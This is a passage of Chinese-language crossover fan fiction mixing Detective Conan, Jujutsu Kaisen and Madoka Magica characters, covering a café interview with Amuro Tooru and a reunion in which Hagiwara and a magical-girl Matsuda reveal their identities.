朔夜点了点头。 丘比道：‘再见，穗。’ 看着伏黑惠离开，朔夜默默松了一口气，将丘比收了回去。 伊江朔久当然不可能自己有事情找自己，丘比说的话只是借口，只是为了让伏黑惠放心离开而已。 毕竟以朔夜的性格设定，这种话只能由丘比来讲。 白色的小光球系统飘到朔夜身边，道：【你之前说得没错，虎杖悠仁果然还是被两面宿傩寄生了。】 朔夜在心里回道：‘嗯，就算我提前偷走了百叶箱里的宿傩手指，但是虎杖悠仁还是被迫吞下了其他的手指。’ 第82章 【毕竟羂索在暗处提前筹谋了那么久，肯定准备了许多备用计划。】 系统安慰道：【我们又无法永远跟在虎杖悠仁的身边保护他。】 ‘没关系的。’ 伊江朔久其实没怎么失望，只是觉得有点麻烦。 他本可以早早直接解决掉羂索的，但是那家伙足够谨慎，一直躲躲藏藏的，就像黑衣组织的boss一样。 所以，伊江朔久早就做好了和他们拉长战线的准备。 ‘就先让羂索安心一段时间吧。等到时机成熟了，羂索自然会主动露面的……’ 那时候，也就该是对方的死期了。 之后，关于虎杖悠仁的后续事宜，伊江朔久也暗地里默默关注了一番。 没有发生什么意外，五条悟果然还是答应了伏黑惠的请求，为他们提供了帮助。 不过也就是按原著中的那样，将虎杖悠仁的立即死刑改成了缓期执行。 等虎杖吸收完所有的宿傩手指之后，再将其杀死，打算以此彻底消灭两面宿傩。 所以，目前虎杖悠仁也入学了咒术高专一年级，成为了伏黑惠的同学，由五条悟来看管他。 下午，波洛咖啡厅里。 伊江朔久又是一个人坐在靠窗的老位置。 ‘解决掉两面宿傩比解决羂索要稍微麻烦一点，毕竟是千年前的诅咒之王……’ 【你这么说，是已经想好针对两面宿傩的解决方案了吗？朔久。】系统问道。 伊江朔久用小勺搅拌着杯子里的咖啡，让刚才悄悄放进去的方糖化得更快一些。 ‘不需要什么方案，你忘记了？只要成为魔法少女，便会有一个实现任何愿望的机会。’ 【找到能够成为魔法少女的人，让对方许愿使两面宿傩彻底死掉吗？】 系统道：【确实是最简单的方式了。因为宿傩的寄生，虎杖悠仁才会被判处死刑，所以他大概率会答应许愿让宿傩死掉。】 ‘是的，不过要想对付宿傩，还是得先处理掉羂索。’ 伊江朔久还在搅拌咖啡：‘免得打草惊蛇，让那家伙再继续躲个多少年，我又没有那么多的时间……’ 系统默了默，似乎是终于忍不住出声道：【朔久，你这杯子里的糖是不是放得太多了？】 伊江朔久喝了一口，语气不确定道：‘感觉还好？’ 系统无言以对。 搅拌了这么久，杯底却还有一些未融化的白糖，这甜度应该快到致死量了吧？ 【我觉得你和五条悟应该会比较有话题。】系统由衷地说道。 伊江朔久微微低头：‘……或许吧。不过他是最强的咒术师，应该很难有不得不许愿才能实现的愿望吧。’ 【本来他是可能会为了夏油杰而答应的，可是不知道为什么夏油杰如今还活着。】 系统有些不解：【原著里，夏油杰不是应该在去年就已经死了吗？】 ‘可能是蝴蝶效应。’ 伊江朔久道：‘任何细微的不同，都可能在后续引发巨大的改变。’ 系统还想再接着问几句，不过这时候感知到了意料之外的情况，便先提醒道：【有符合魔法少女要求的人正在接近这里。】 伊江朔久听到了咖啡厅店门被推开又关上的声音，有人从店外走进来，并径直走向自己所在的方向。 对方在他面前停下来，拉开桌子前的那张椅子坐下，笑着轻声道： “伊江先生？你好。” 伊江朔久抬起头，眼前是一个金发黑皮的青年，对方正在用紫灰色的眼睛看着自己这边，眼神里隐隐能看出打量的意味。 这个人的形象特征很鲜明。 就算以前没有见过，也能让人看一眼便认出这是谁。 不过，伊江朔久还是表现得像是不认识对方，问道：“你是？” “我叫安室透，是来应聘这里的侍应生的。” 安室透带着笑容道：“榎本小姐应该提前给您说过了吧？我已经通过了她的面试，现在希望也能通过您的面试。” 伊江朔久稍稍侧过头，看向柜台后面站着的榎本梓，她冲着这边眨了眨眼。 他想起了自己之前安排的事情。 波洛咖啡厅的客流量稍微比较多，榎本梓作为这里唯一的一个侍应生经常忙不过来，于是他就准备再招一个人。 伊江朔久先前将面试新的侍应生这种事情交给了榎本梓，本来是说让她随意决定的。 不过，榎本梓很有责任心，没有糊弄了事，而是很认真地替他这个不太管事的店长考虑。 过了好一段时间，她才找到了一个很满意的应聘者。 然后她很高兴地跟伊江朔久发消息，说那个人相当有经验，在很多地方都打过工，厨艺非常出色，要求的薪资也不高…… 问伊江朔久什么时候可以过来见见那个人，决定一下是否让他入职。 伊江朔久是相信榎本梓的，不过她还是坚持让他来做最终决定。 而这段时间里，伊江朔久忙着调查咒术界的事情，暂时不太有空。 直到现在他才忙完，来波洛咖啡厅面试这个新的侍应生。 “原来你就是榎本小姐说过的那个人啊，听说你的厨艺非常好，也很有工作经验……” 伊江朔久温声称赞道。 “过奖了。”安室透看似不好意思地道：“那我能通过您的面试吗？” “不必用敬辞，我们的年纪又差不多。” 伊江朔久想了想，说道：“其实我也没想面试你什么，只是现在有点好奇，你的条件这么好，为什么会愿意在这家店工作呢？” 安室透回答：“我……喜欢这家咖啡厅的氛围。” 这个理由真的是…… 伊江朔久有些无奈。 其实他不用问，就能猜到对方来这里工作的意图是什么。 安室透，原名降谷零，是一名公安警察。目前卧底于黑衣组织，代号波本。 在原著里，对方两年后才会来波洛咖啡厅当侍应生，为了调查毛利小五郎。 而现在安室透提前来到了这里，原因大概率和他有关，估计安室透这次调查的目标就是他自己吧。 伊江朔久在心里叹了口气。 黑衣组织真是太麻烦了，总是这样主动给他找事。 要不是因为没办法找到组织的大本营，没有组织boss的踪迹，难以一次性彻底解决掉他们…… 伊江朔久也不会与他们虚与委蛇，耗费这么多时间。 “对了，你知道这里对面的那家侦探事务所也是我的吗？” 伊江朔久忽然问道。 安室透怔了下，语气有点惊讶地道：“我刚才路过的时候看到了那家事务所，不过没想到居然也是你的，伊江先生真是年轻有为。” 伊江朔久没有多和对方客套几句，而是直接问：“你对做一名侦探感兴趣吗？” “这个……”安室透表现得有点惊喜，道：“我确实一直对侦探这个职业感兴趣。伊江先生，你的意思是，我能够到你的侦探事务所工作……” “不好意思。” 伊江朔久打断了他的话，抱歉道：“侦探事务所目前不缺人手，以后如果有机会了，说不定能请安室君来帮忙。” 伊江朔久提到侦探事务所只是为了试探安室透。 结果很明显，对方的演技虽然还挺不错的，但是伊江朔久实在是太熟悉说谎和故意表演该是什么样子的了。 他能判断出，安室透早就知道那家侦探事务所的所有者是谁，并且确实更希望在那里入职。 以此看来，安室透这次的目标绝对是他。 甚至，黑衣组织应该也将他带走萩原研二的事情告知了安室透。 真是很烦人啊。 伊江朔久默默思索着。 明明他都已经和萩原研二住在一起，尽可能地使萩原不脱离自己的掌控范围之外，还让萩原给组织适当性地暴露了一些他的信息…… 但是，黑衣组织还是得寸进尺，不放心萩原研二和他，也不愿意放过他们。 组织居然还派出了情报人员波本来接近他们，以获取一些情报。 幸好，他们派来的人是波本这个公安卧底。 安室透和萩原研二是关系很不错的警校同期，所以自然不可能会出卖萩原研二，不过对他的态度可就说不定了。 第83章 “总之，很欢迎你来波洛工作，安室君。” 伊江朔久语气和善。 安室透本应该为自己顺利的入职而感到高兴，如果刚才他没有以为自己或许能够更进一步、加入对方的侦探事务所的话。 他尽量维持着假面，微笑着道：“谢谢你了，伊江先生。” 看来，伊江朔久刚才的话都是试探。 但是……安室透不太明白，对方到底是看出了自己哪里的破绽？ 从刚才到现在，他和对方根本就没有交谈多久，难道只是因为自己来到想要入职这里的理由不太真实吗？仅凭这一点就产生了怀疑？ 可是，如果伊江朔久真的觉得他可能有问题，为什么不直接拒绝他的应聘呢？ 这个人还真是难懂。 安室透看着面前的青年，对方肤色偏白，少了点血色，说话总是和和气气的，再加上一直都坐着轮椅。 所以看起来比较弱势，像是好欺负的那种类型。 谁能想到对方暗地里和一个跨国犯罪组织有着这样的瓜葛呢？ 安室透想起了前段时间与琴酒的那次见面。 当时，他刚刚接下这个伪装身份去获取情报的任务，从琴酒那里得知了一些任务详情。 他知道了自己需要想办法接近伊江朔久这个人。 对方非常危险，与组织算是合作关系，隐藏了许多秘密…… 组织始终难以试出伊江朔久的深浅，怀疑对方不只是一个人，或许背后还有着一个强大的势力。 安室透是看过浅井公寓的那场直播的，见过伊江朔久当时的表现，还看到对方和松田阵平的关系不错。 突然得知伊江朔久背地里是这样的，安室透是挺诧异的。 不过，更令他难以置信的是……萩原研二原来没有死。 这四年来萩原居然都待在组织里，被这里的研究人员洗脑，为组织做了许多杀人放火的犯罪行为。 而如今，伊江朔久忽然和组织做交易，带走了萩原研二…… “你怎么了？很惊讶吗？” 琴酒看着他，漫不经心地问道。 安室透明白自己刚才看到这些情报，过于惊讶所以表现出了难以掩盖的异常。 琴酒那么敏锐，自然不可能发现不了。 如果他要是不好好回答的话，总是惦记着抓卧底的琴酒肯定不会随便放过他的。 安室透顿了顿，将手中的纸质材料放到桌面上，说道： “确实很惊讶啊，我也看过那次浅井公寓的犯罪直播……那时候的伊江朔久看起来完全不像是这样的人。” 琴酒冷淡地提醒道：“是吗，看来你也被他的表象所蒙骗了。他可没表面上那么无害。要是你随便相信他，那倒霉的就是你了。” “琴酒，你觉得一个情报人员会随随便便给予他人信任吗？” 安室透也露出一副看似无害的温和笑容，反问对方。 琴酒有点嫌弃地撇过头：“别在我面前露出这种样子，真令人恶心。” “抱歉了。” 安室透随口一说，又道：“对了，这次的任务详情由你来告知我，这点让我也比较好奇。难道琴酒你……” “我确实和那个人打过几次交道。”琴酒直接打断他的话，承认了对方的猜测。 “只是这样吗？” 安室透语气有点怀疑。 “当然，这已经算是很难得了。” 琴酒皱眉道：“那家伙很少跟组织的人有来往，组织里甚至都没多少人和他见过面。” “听起来，那位伊江君比我这种神秘主义者还要神秘啊。” 安室透试探性地说道：“真是奇怪，他明明只是一个双腿残疾的人吧，年纪看着也不大……组织怎么就奈何不了他，还需要迂回地派我去打探情报呢？” 琴酒：“……你做好自己该做的事情就行，多打听这些对你没有好处。” “好吧，看来他确实很特殊，我会尽可能地从那位伊江君身上挖掘情报的。” 安室透无奈地说道。 “呵，伊江？” 琴酒似乎是终于忍不住嗤笑一声。 “……？”安室透不解地看着琴酒，不知道对方为什么忽然露出这个表情。 “那个人的名字究竟是不是伊江朔久还不一定呢。” 琴酒的这一句话，让安室透更加疑惑。 不过好在琴酒没有卖关子，直接说道：“他就像是四年前凭空冒出来的一样，忽然主动找上了组织，和组织达成了合作。” “他当时没有任何身份证明，所有身份信息都是后来组织帮他做的。” “不管是人际关系，还是过往经历……那些全部是假的，都是组织从零开始构建的。” “所以……你觉得他自己亲口说出来的名字会是真实的吗？” 安室透保持沉默，心里对伊江朔久又加强了几分警惕。 这样浑身都是疑点的人，和松田阵平、萩原研二都有着说不清的关系……这可绝对不是一件好事。 …… 旁边传来了一些动静，有人推开店门走进来。 安室透也在此刻收回了思绪。 他本能地侧头看过去，见到了一个黑发蓝眸的青年，并且和对方对上了视线。 两个人的眼底都带着诧异之色。 安室透记得这张面孔，组织提供给他的情报里有这张面孔的照片。 这是贝尔摩德为萩原研二易容后的样子。 安室透倒是也做好了与萩原研二见面的准备，但是没想到却来得这么快。 现在这个时机很糟糕。 他还没来得及提前调查清楚萩原研二，不清楚对方到底被洗脑成什么样子了，是否还留有过去的记忆…… 按理来说，萩原研二这些日子大多都待在那家侦探事务所，处理一些鸡毛蒜皮的委托，暂时没有来过这个波洛咖啡厅才对。 为什么对方会这个时候过来？ 安室透不由得紧张起来，下意识看向了旁边的伊江朔久。 第84章 而萩原研二此刻同样比较紧张。 他也没想到能在这里看到伊江朔久和降谷零。 他来到波洛咖啡厅只是应了铃木园子他们三个小朋友的邀约，过来一聚的，而且主要是因为听说松代也会来。 从上次在魔女结界里的经历来看，萩原研二有些怀疑松代那位魔法少女的真实身份，会不会是自己熟悉的那个朋友。 可这件事太过匪夷所思了，他真的没办法确定自己的猜想，只能准备多多试探一下再说。 于是，他便答应了铃木他们的邀约。 萩原研二还特意挑选了伊江朔久有事出门的时候，才过来应约。 可谁能想到，伊江朔久说的是有事情要出去一趟，但是他根本就没去多远的地方，只来到了事务所对面的咖啡厅里。 而且，降谷零这又是怎么回事？ 他这个许久未见、疑似去执行卧底之类危险任务的警校同期，为什么此刻会和伊江朔久坐在同一张桌子前？ 等等，降谷零不会就是去黑衣组织卧底了吧？？！ “榎原，下午好。” 伊江朔久主动挥了挥手，先跟他打招呼，神情一如往常的温和与平静：“你也过来了啊。” 萩原研二迟疑地点了点头，说道：“我看下午没什么人过来委托，就先将侦探事务所关门了……” “没关系，反正这几天都没什么委托了。” 伊江朔久直接说出实话，丝毫不在意的样子。 萩原研二有点无言。 “你之前没怎么来过这家咖啡厅吧？这里的咖啡味道都还不错的。如果是想吃些什么的话……” 伊江朔久边说边看向安室透，给萩原研二介绍道：“这位是安室君，新来的侍应生，听说他厨艺很好，有很多拿手的料理呢。” 安室君？ ……厨艺很好？ 萩原研二忍不住又看了安室透几眼，对方如今看起来很像是温和有礼有亲和力的侍应生。 真是和他印象里的那位严谨认真的警校第一同学……差距很大啊。 没想到降谷零居然也能有这样的一面，能表现出这样的性格，就连当初不擅长的厨艺现在也足以被人夸赞了。 这四年来，大家的变化都这么大吗？ 也是……他们一直都在往前走，只有自己仿佛始终留在原地。 甚至还陷入了比停滞不前更糟糕的处境里。 萩原研二抿了抿嘴，对安室透自我介绍道：“安室君，你好，我是榎原健一，是伊江君的朋友。” 安室透一直提着的心，此时终于放下来了一些。 不管怎么说，萩原研二看起来似乎是至少对他有点印象的，但却没有在此刻揭穿他。 那便姑且不用担心他们两个会成为敌人。 “你好……”安室透刚开口，还没想好该说些什么。 这时，波洛咖啡厅的店门又被打开了。 少年少女们交流着走进来，声音分走了他们的一些注意力。 萩原研二想起了自己来这里的目的，立刻回头望去，果然看到了熟悉的那几张面孔…… 铃木园子、毛利兰、工藤新一……还有站在他们身后，戴着兜帽与墨镜、穿着中性衣服的松代。 “榎原先生，你来得好早啊。” 铃木园子看着心情很好，语气很欢快地向着面前不远处的萩原研二打招呼，侧头又看见了伊江朔久： “诶，伊江先生也在呀？” “嗯，真巧。”伊江朔久也笑着打了个招呼。 接着，这四个少年少女带着萩原研二在店里找了个合适的位置坐下，点了些咖啡和甜品。 榎本梓不好意思地悄悄对安室透挥了挥手。 待安室透走过去后，她双手合十，拜托道：“不好意思，安室君，现在店里的人比较多，我有点忙不过来了。能请你今天就上岗吗？” 安室透看了一眼萩原研二他们，回答道：“当然没问题。” 刚好，他本来就是来这里搜寻情报的。 现在这种时候，伊江朔久和萩原研二都待在这里，他自然想要留下来看一看会不会有什么收获。 不过还真是奇怪，为什么萩原研二会跟几个未成年坐在一桌？ 真想不明白…… 和未成年们坐在同一桌的萩原研二此时也觉得有点别扭。 他本来是想来试探松代的。 但是现在计划赶不上变化，降谷零和伊江朔久都在这家咖啡厅里，他现在根本就没心思跟松代搭话。 万一被那两个人听见就麻烦了。 虽说降谷零是公安警察、是毫无疑问的好人，但是他现在的身份根本无法被对方信任，那些黑暗的经历是怎么都洗刷不掉的。 还有……松代如今也一直低着头、看着非常自闭、完全是一副不想和任何人搭话的样子。 气氛不知不觉变得有些尴尬。 工藤新一左右望望这两个人，不解地问：“不是你们都想和对方见面吗？为什么见到了却不说话？是有什么顾虑吗？” 松田阵平紧张地咳嗽两声，声音压得比较低：“没有，我什么时候说过想和他见面了？” 萩原研二也急急点头：“是啊，我只是因为铃木小姐的邀请才来的。” 工藤新一不禁沉默。 这位刚刚升上高中、还不算出名的少年侦探，觉得自己的推理练得还不够到位，为什么就是搞不懂这两个人到底是什么意思。 毛利兰倒是情商很高地及时出声道： “嗯嗯，是我们邀请大家来的。毕竟都一起经历了那样的事情，我们很感谢你们，也想与你们都成为朋友。” 来自未成年的直球，让身为成年人的萩原研二和松田阵平都有点不好意思。 可是……松田阵平小心地瞥了一眼坐在不远处的伊江朔久。 他真没想到伊江朔久也在这里。 对方可是知道松代的真实身份就是松田的啊，幸亏自己这次过来前做了些伪装，但还是不确定会不会被伊江给认出来。 松田阵平有点心累。 他这次算是特意绕过了伊江朔久，通过铃木园子的邀请来和榎原健一见面的，没想到却还是在这里看到了伊江朔久。 他怀疑榎原健一就是萩原研二。 但如果这个猜想真的证实了的话，那么伊江朔久就很值得怀疑了。 为什么萩原研二要易容成这样，还要瞒着自己，为什么伊江朔久会和这样的萩原研二待在一起，他们两个到底是什么时候认识的…… 疑问太多了。 松田阵平不觉得伊江朔久是威胁着萩原研二的组织中的一员。 但是，他觉得伊江朔久可能不会随便告诉自己真相，那么他就只能自己想办法探究这些问题的正确答案了。 第85章 铃木他们那一桌的咖啡和甜品都做好了，榎本梓刚刚把东西都放在了托盘上，想给他们端过去。 安室透就走近了过来，拜托道： “这次就让我端给客人吧。这个红丝绒蛋糕是我特意做了些研究后改良的，我想问问客人有没有什么建议。” “当然没问题。”榎本梓理解地笑着说：“那就麻烦你了，安室先生。” 于是，安室透便顺利地端着咖啡和甜品，靠近了那边正在交流的几个未成年和榎原健一。 刚好就听见铃木园子说到：“……对了，松代平常的空闲时间多吗？” 松……田？？！ 因为知道萩原研二就在这里，所以安室透即使觉得这个‘松田’听起来稍微有一点点怪，但也还是下意识觉得对方绝对是在说松田。 但是很奇怪啊。 这里的人之中，只有萩原研二会认识松田吧，但是他为什么会跟几个未成年在一起讨论松田啊？ 安室透难以想通。 不过看萩原研二从刚才到现在似乎都没什么威胁性，和自己记忆里的变化不大，仿佛从来没有被洗脑过。 于是，安室透就顺势试探地出声道：“……松田？” 铃木园子吓了一跳，回头才看见这个侍应生端着托盘正站在自己身后。 她一下子就慌了。 要是魔法少女松代在这里被人认出来就麻烦了。松代正是因为担心这点，才一直戴着兜帽和墨镜的。 如果因为自己的不小心，而使松代暴露的话…… 铃木园子简直不敢继续往下想了，只希望能够赶紧补救：“那、那个……你听错了。” 安室透有点不解，怎么是这个少女这么紧张。 不过，他表面上没有展现出自己的真实情绪，只是将咖啡和甜点都一一端给这一桌的人。 “应该是我听错了吧，只是我认识的一个人似乎也是这个姓氏，不过松田这个姓氏也不算太少见。” 铃木园子怔了一下，怀疑自己听错了：“松……” 工藤新一打断了她的话，快速说道：“是的，就是松田，这个姓氏碰巧相同也没什么好奇怪的。” “是啊，真、真巧。” 毛利兰下意识看向松田阵平，不自然地说道：“松田，原来有人和你是一个姓氏。” 松田阵平：“……” 这到底是怎么发展到现在这个局面的？ 黑发少女忍不住将兜帽拉得更低了一些，头也似乎深深埋了下去。 她知道这几个未成年都是好心，为了不暴露她的身份，他们才这样说的。 可是…… 他们根本不知道，她自己的真实名字就是松田啊。 现在这个情况是怎么看怎么奇怪，她到底该不该在降谷零和这个榎原健一的面前，承认自己的确叫松田？ 松田阵平越想越烦恼。 而安室透此刻也愣了一下，看着其他几人的目光都下意识地放在那个兜帽少女的身上，再加上刚才的那些话。 安室透意识到情况好像和自己想的不太一样。 难道是这个少女的名字叫松田吗？ 这么说，萩原研二和这群未成年待在一起不会就是因为这个松田吧？ 安室透发散思维，猜测萩原研二可能现在是没有当初的记忆了，但是还是会觉得松田这个名字很耳熟，然后才本能地与这些未成年交上了朋友。 这个理由听起来似乎非常合理。 他看了看榎原健一，又看了看那个兜帽少女。 很可惜，那个兜帽少女简直就快把自己缩进地缝里了，他始终没能看到对方的面容。 “安室君，谢谢你了。” 萩原研二还是忍不住出声先打破了沉默。 “没什么。” 安室透回过神来，说出了自己先前准备好的说辞。 “对了，这个红丝绒蛋糕是我想办法改良过的。所以我很想问问大家，觉得它的味道怎么样，有哪些需要改进的地方？” 那几个未成年没发现什么不对劲，很轻松就相信了安室透。 铃木园子将蛋糕分好，拿给其他人，然后自己便立刻品尝了一口。 “很好吃！” 她真情实感地夸赞：“和我之前在别的地方吃到的味道都不太一样，感觉有种很独特的美味感！” 毛利兰也连连点头。 工藤新一说道：“确实有点微微酸甜的口感，不容易让人觉得腻，甜度刚刚好。” “不用一直夸赞，我都有些不好意思了，也可以多说点批评的话的。” 安室透笑着说道。 毛利兰立即道：“但是它真的很好吃，找不到可以批评的地方。” 一旁的松田阵平听着这些话，感觉实在是别扭得很。 她忍不住也悄悄吃了一口面前分给自己的蛋糕…… 嘶，好像还真的挺好吃的。 这是那个金发混蛋能够做出来的美食吗？？！ 眼前的这个人真的是降谷零吗……松田阵平从进店看到对方之后就开始怀疑了。 当年的那个警校第一来到一家咖啡厅做起了侍应生的工作？居然能做出这种味道的蛋糕？还一副温和颇有亲和力的样子？ 揄系正利Ｂ 这真的是降谷零吗？ 不会被他的那个幼驯染诸伏景光所附身了吧？？！ 这时候，安室透将目光移向松田阵平所在的方向。 松田阵平条件反射地又立刻低下了头。 “……” 安室透不由得在心里感叹，这个女孩子还真是足够内向社恐啊。 于是他将声音又放轻了几分，非常温柔地问：“松田小姐，你觉得怎样？这个蛋糕的口感符合你的要求吗？” 松田小姐此刻不是很想跟这个人说话。 自从警校毕业后，他们见面的次数少之又少。这导致松田阵平对降谷零的印象还没有发生多大改变。 她总是记着当年那个过分严谨认真到有点别扭的降谷零。 而如今听着安室透温柔的询问声，她是怎么听怎么觉得虚假，无奈只好忍耐着想要给这个金发混蛋一拳，让对方正常一点的想法。 松田阵平声音尽量轻地回答：“……挺好吃的。” 尽可能让对方听不出来其中咬牙切齿的意味。 安室透浑然不觉地笑道：“那就好。” 萩原研二：“……” 在一旁默默观察了许久，他的心态也很不好。 他怎么越看越能够理解松代，明白对方刚才面对安室透的那些反应大概都是出自什么原因…… 但如果自己的猜测成真了的话，这岂不是说，他的幼驯染真的成为一名魔法少女了？ 强调一下，他的幼驯染松田阵平，今年26岁，确认是男性无疑。 很明显这不太对劲吧？ 这个世界什么时候变得这样奇怪了？？！ 第86章 萩原研二有些恍惚。 在上次第一次误入魔女结界见到松代之后，他便在网上多多了解过一番魔法少女松代。 如今他满脑子都是网站上，其他人对松代的分析，以及各种二创图片和文字。 那个身高可能不到155cm，帅气又傲娇、样貌精致的魔法少女真的是自家幼驯染吗？？ 萩原研二看向那个低着头的兜帽少女。 咳咳……还怪可爱的。 其实仔细想一想，自己有一个能变身成魔法少女的幼驯染，这种事情还真是挺酷的。 就在这思绪不断发散中，时间一分一秒地过去。他们慢慢喝完了咖啡，吃完了甜品。 期间也就只是几个未成年在尽量找话题。而两个真正的大人因为顾虑太多，也没什么和未成年交流的经验，所以话一直很少。 天色逐渐暗下来了，这三个未成年都该回家了，聚会也算是迎来了结束。 不过…… 松田阵平有点犹豫。 虽然伊江朔久和降谷零都在这家咖啡厅里，目前这里显然不是什么说话的好机会，之后再找下次机会比较好。 但是，他真的很久没再见过萩原研二了。 即使知道萩原研二死而复生了，可是这么久以来，松田阵平还是没有亲眼看到过活生生的对方。 如今就算直觉告诉他，面前这个人大概率就是萩原研二。 但是隔着一层易容，面对着陌生的样貌，松田阵平始终难以安下心来。 “那个……” 看着榎原健一站起身来，似乎准备要离开，松田阵平终于忍不住开口。 然而，等到榎原健一停下来，摆出一副认真倾听的状态。 黑发兜帽少女也还是犹豫着，完全根本没想好要说什么，只是不想要看着对方离开，再继续等待下次不知道什么时候才来的合适机会。 “有什么话不如直接说吧。” 工藤新一不禁出声道。 他一直好奇这两个人到底有着什么样的秘密，却总是难以推测出来，让他忍不住越来越好奇。 “新一！”毛利兰连忙开口，又转而对那两个人说：“你们是有话要和对方说吧？那我们就先走了。” 铃木园子也点点头，为这两个人留出足够的空间：“那下次再见吧，松代酱，榎原先生。” 工藤新一无奈，也没多说什么，被两个女孩子一起带走了。 于是很快，这个桌子面前就只剩下了他们两个人。 氛围变得更加沉默起来。 萩原研二也明白，松田阵平此刻应该也差不多确认了自己的身份。 小阵平的直觉总是敏锐到有点可怕。 而萩原研二先前一直想方设法地隐瞒着自己的身份，原因很简单，只是因为自己被困在了黑衣组织。 在组织里这四年的记忆越来越清晰，让他非常明白，那个跨国犯罪组织到底有多么危险。 而他目前因为伊江朔久，才算是暂时半脱离了组织。 可是组织清楚地知道他的身份，他的家人、朋友、过去的人际关系……组织都彻底地掌握着。 这太可怕了。 只要组织存在一天，他就一天无法安心，他所在意重视的所有人都可能会被组织当作威胁他的把柄。 如果松田阵平知道了他的情况，是肯定不会坐视不理的，那就相当于把松田阵平及其亲人朋友也直接拉进了无尽的危险之中…… “hagi……好久不见。” 面前的少女低声说道。 萩原研二也没办法再继续遮掩下去，毕竟对方都这样喊他了，连自己魔法少女的身份掉马都不去管了。 “……嗯，小阵平。” 萩原研二莫名忽然开始心虚起来，说话也变得有些结巴：“好久不见，你还好吗？” 松田阵平默默攥紧了拳头。 这家伙终于承认了，果然他就是萩原研二。 先前还说什么自己叫榎原健一，还易容……应该是易容吧？松田阵平最近接触了太多不科学的事情，一时难以确定对方这是不是魔法侧造成的。 黑发少女直接问道：“你这副样子是怎么回事？” 萩原研二被迫乖乖回答：“是组织里的人给我易容的。” 松田阵平：“为什么一直瞒着我？” “我……不希望将你卷入危险之中。” “那你觉得我就能看着你犯险吗？” 松田阵平想起了对方四年前那次主动走进炸弹犯的陷阱之中，也是气不打一处来。 “你四年前就是这个样子，不跟我商量好就自顾自地做了决定，你以为我还会再像四年前那样看着你犯险吗？” 听着松田阵平控制不住越来越大的声音，萩原研二又是愧疚，又是有点担心。 他尽量压低声音道：“抱歉，我……” 话语还没说完，萩原研二警惕地发现有声音靠近，便立即停下了自己的话。 他侧头看见伊江朔久操控着轮椅接近。 担心的情况果然还是发生了，萩原研二紧张地不知道怎么处理眼前这个场面。 “到底要解释什么，你继续说啊？” 松田阵平已经不管不顾了。 因为他知道现在谁都没有继续隐瞒下去的办法了，不管是他和hagi、还是伊江，事到如今也都应该坦白了。 萩原研二看看松田阵平，又看看伊江朔久，实在有点慌乱。 “不好意思，我能跟你们拼个桌吗？”伊江朔久顿了顿，道：“萩原，松田。” “？？？” 萩原研二很希望自己听错了，希望对方其实是在喊松代。 但是看着伊江朔久的表情，又想起之前松田就一副和伊江有秘密的样子，他还是无可奈何地确定了自己的这个猜想。 “伊江，你早就知道他是魔法少女了？” 伊江朔久点了点头。 萩原研二：“……” 果然…… 但是为什么伊江会比他还早知道啊？ 明明是他先来的……啊不，是他和小阵平先成为朋友的吧？ 第87章 关于伊江朔久知道松田阵平的魔法少女身份这种事情，其实仅仅是个意外而已。 所以，松田阵平并不会因为萩原的话而感到心虚。 不过，萩原研二就这么直接说出了魔法少女这个词，却让松田阵平有些慢半拍地感到了尴尬。 黑发少女感觉自己脸上忽然有点发烫。 幸好，她一直戴着兜帽和墨镜，挡住了自己一半的脸，才没能被别人察觉。 但是萩原研二还在说：“不对，松田到底是什么时候成为魔法少女的？网站上关于松代的信息是不久前才有的吧……” 松田阵平咬牙打断了他的话：“能先别提这些事情吗？明明该你先把自己的事都解释清楚吧。” “……啊，我……” 萩原研二也发现面前少女的尴尬无措了。 他原本是很会哄女孩子的性格，可是一想到这是自己幼驯染，就完全想不起来该怎么和如今的对方交流了。 萩原研二艰难组织语言，解释道： “就像先前我和你说的那样，我被困在了一个犯罪组织。不过因为伊江，我暂时不用随时被组织掌控……” 松田阵平看向伊江朔久：“你准备解释什么？” “其实……我一直和那个组织有很深的瓜葛。” 伊江朔久微微垂头，言简意赅地道： “我的爷爷枡山宪三就是那个组织的成员，他算是组织里的元老级成员。我并不赞同他做的那些事情，但是却无法说服他，也无法与他和组织划清界限。” 说起这些，松田阵平也想到之前被封锁在医院的时候，就见过伊江朔久家里提前安排好，能够让他先行离开。 松田阵平从那时起，就知道伊江的背景应该不简单。 可没想到，对方居然是和一个犯罪组织有着这么深的联系。 “为什么你不跟我说出这些呢？”萩原研二忍不住问道。 萩原研二先前怀疑警惕了伊江朔久许久，尤其是第一次见面的时候。 组织其他人对伊江朔久的忌惮，和伊江朔久本身的形象形成了鲜明的反差，这更让他难以放下对其的怀疑。 但如果说是伊江的亲人在组织里有着很高的地位，所以其他人才那么重视伊江…… 这倒是比伊江其实是个两面三刀的人更可信得多。 毕竟他们也相处了这么一段时间了，伊江从头到尾都没有做过对他不利的事情，萩原研二也不至于分不清好坏。 伊江朔久：“我不确定你当时的状态……虽然那时候亲眼见过了松田许愿，知道你应该死而复生了。” “但是因为记忆修正，让我觉得你好像从来没有死亡过，只是待在组织里像是变了一个人一般。我不确定你的状态到底怎么样。” 提到这个，萩原研二下意识有点躲闪他们的视线，比较不自然地回道： “我还好啊，就好像这四年直接快进过来了而已。” “如果你没什么对组织的记忆，也不是一件完全的好事。”伊江朔久道：“你会不清楚组织到底是怎样的存在。” 松田阵平不禁皱眉道：“那个犯罪组织很危险吗？” “怎么说呢，麻烦又难缠……就算我现在向公安说出了我这么久以来搜集的关于组织的所有情报，也无法消灭它，只会打草惊蛇而已。” 萩原研二也不由得赞同地道：“确实，就像蟑螂一样令人讨厌啊。” “我知道了。” 松田阵平应道：“既然如此，那就更应该大家一起好好商量对策吧。不要什么事情都只想着自己一个人去解决。” 伊江朔久默了默，想起松田当初一个人跑上浅井公寓楼的事情，还那么危险地从窗台上爬到二十层。 不过，看着松田阵平的样子，伊江朔久还是选择了什么都没说。 “对了，话说许愿到底是怎么回事？” 萩原研二还是忍不住问道：“小阵平你当初说是向一个奇怪的白色生物许愿让我活过来的，对吧？” 松田阵平：“……” 黑发少女下意识往四周看了看，没发觉丘比在这里，才松了口气。 和丘比也认识了这么些时间，松田阵平不再像当初第一次见面时一样警惕怀疑对方，反而和丘比的关系还慢慢变得像是朋友了。 萩原研二记挂了许久这件事，好不容易有了追问的机会，自然不想轻易放过。 “不是说要大家一起好好商量对策吗？那么小阵平你应该把这件事告诉我吧。” 松田阵平无奈道：“就是成为魔法少女后所得到的回报而已，我能够实现任何一个愿望。” 说到魔法少女这几个字，松田阵平至今还是觉得很别扭，更别提是当着萩原研二的面了。 “任何愿望？” 萩原研二怎么听怎么觉得不靠谱，可是他自己确实因此活过来了。 